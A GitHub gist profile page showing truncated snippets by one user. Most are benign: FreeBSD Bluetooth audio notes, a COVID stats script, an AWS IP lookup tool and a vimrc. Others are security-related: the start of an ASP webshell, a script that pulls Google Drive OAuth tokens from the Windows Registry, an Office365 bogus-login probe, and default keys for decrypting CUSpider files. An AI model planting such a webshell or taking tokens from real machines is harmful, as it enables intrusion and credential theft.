Skip to content

Instantly share code, notes, and snippets.

View maxrp's full-sized avatar

Max P maxrp

View GitHub Profile
#!/usr/bin/env python
from smtplib import SMTP, SMTPAuthenticationError
from getpass import getuser
if __name__ == '__main__':
server, service_port = "smtp.office365.com", 587
with SMTP(server, port=service_port) as smtp:
print('[+] Attempting a login as a bogus user.')
print(f"[+] connected to server: {server}:{service_port}")
@maxrp
maxrp / bluetooth_speaker_freebsd13.md
Last active April 5, 2020 02:23
Notes on getting audio out of my FreeBSD 13.0-CURRENT laptop over bluetooth to a speaker.

Bluetooth Audio from a Lenovo X220 running FreeBSD 13.0-CURRENT

2020-04-05

The FreeBSD Handbook Bluetooth chapter is, as usual, great but I needed to do a bit more (or perhaps in a more specific way) to get audio from the Broadcom Bluetooth chip in my Lenovo X220 to the Soundblaster Roar SR20 that lives in my kitchen.

/boot/loader.conf

Load the user character device driver cuse and all the netgraph bluetooth modules, this is better done earlier to avoid the annoying (and possibly significant) WARNING: attempt to domain_add(xyz) after domainfinalize() errors at startup.

cuse_load="YES"

ng_ubt_load="YES" # for most USB bluetooth, for others, refer to the handbook

@maxrp
maxrp / covid.sh
Last active March 23, 2020 01:17
ultra basic posix covid stat tracking
#!/bin/sh
URL="https://covidtracking.com/api/us.csv"
get(){
curl -s "${URL}"
}
print_stats(){
awk -F, '/^[1-9]/{
@maxrp
maxrp / which_aws
Last active October 10, 2019 18:48
Which AWS service does this IP belong to?
#!/usr/bin/env python3
"""
This tool parses the big blob of JSON IP range mappings for AWS and prints
which service and availability zone the IP occurs in.
It expects to find ip-ranges.json in it's PWD.
To update the JSON blob:
wget https://ip-ranges.amazonaws.com/ip-ranges.json
<!--
Simple ASP Webshell
Based on: https://raw.githubusercontent.com/tennc/webshell/master/asp/webshell.asp
-->
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
@maxrp
maxrp / notes.md
Last active April 9, 2019 18:15
Things I've learned about CUSpider
  • The default password for encrypting the HTTP Basic Auth credentials is #SEFE3ws%1sp2
  • SS3 files (spider state files) are encrypted with AES in CBC mode using a key derived from Application Data\Spider\entropy
  • The default salt is Sp1dERs@alt, this appears to be reused widely
  • The default IV is @deH12NN&amp;1t5D,fF (or is it @deH12NN&1t5D,fF?) this is reused everywhere an IV is used
  • The underlying contents of an SS3 file is an SQLite database
  • The password to the SQLite database is approximately (pseudocode, nb: PasswordDeriveBytes provides pbkdf1):
    seed = sha1(entropy_file)
    algorithm = sha1
    

iterations = 8

@maxrp
maxrp / broken.diff
Created April 7, 2019 16:43
A subtle(?) way to break option parsing in Pony (option vs. arg)
--- main.pony Sun Apr 7 09:36:46 2019
+++ main.pony.broken Sun Apr 7 09:37:31 2019
@@ -25,5 +25,5 @@
env.exitcode(1)
return
end
- let port: String = cmd.option("port").string()
+ let port: String = cmd.arg("port").string()
env.out.print("Port="+port)
@maxrp
maxrp / .vimrc
Created March 13, 2019 17:24
vimrc for python
" install vim-plug plugin manager https://github.com/junegunn/vim-plug
call plug#begin('~/.vim/plugged')
" Install the syntastic plugin
Plug 'scrooloose/syntastic'
" to support the syntastic plugin, you need to install a python "checker"
" I use `flake8` which can be installed from `pip`
" Install Inkpot theme
Plug 'ciaranm/inkpot'
call plug#end()
@maxrp
maxrp / leveldb2csv.py
Created September 27, 2018 22:13
leveldb to csv
#!/usr/bin/env python3
# very primitive.
import sys
import path
import plyvel
if __name__ == '__main__':
the_db = path.Path(sys.argv[1])
db = plyvel.DB(the_db)
@maxrp
maxrp / mrstealyogoogledriveoauth.py
Last active August 24, 2017 23:01 — forked from anonymous/mrstealyogoogledriveoauth.py
Retrieve google drive OAuth token from the Windows Registry
from winreg import ConnectRegistry, OpenKey, EnumValue, HKEY_CURRENT_USER
TARGET_KEY = r'SOFTWARE\Google\Drive'
def main():
with ConnectRegistry(None, HKEY_CURRENT_USER) as wr:
GdriveKey = OpenKey(wr, TARGET_KEY)
i = 0
while True:
try: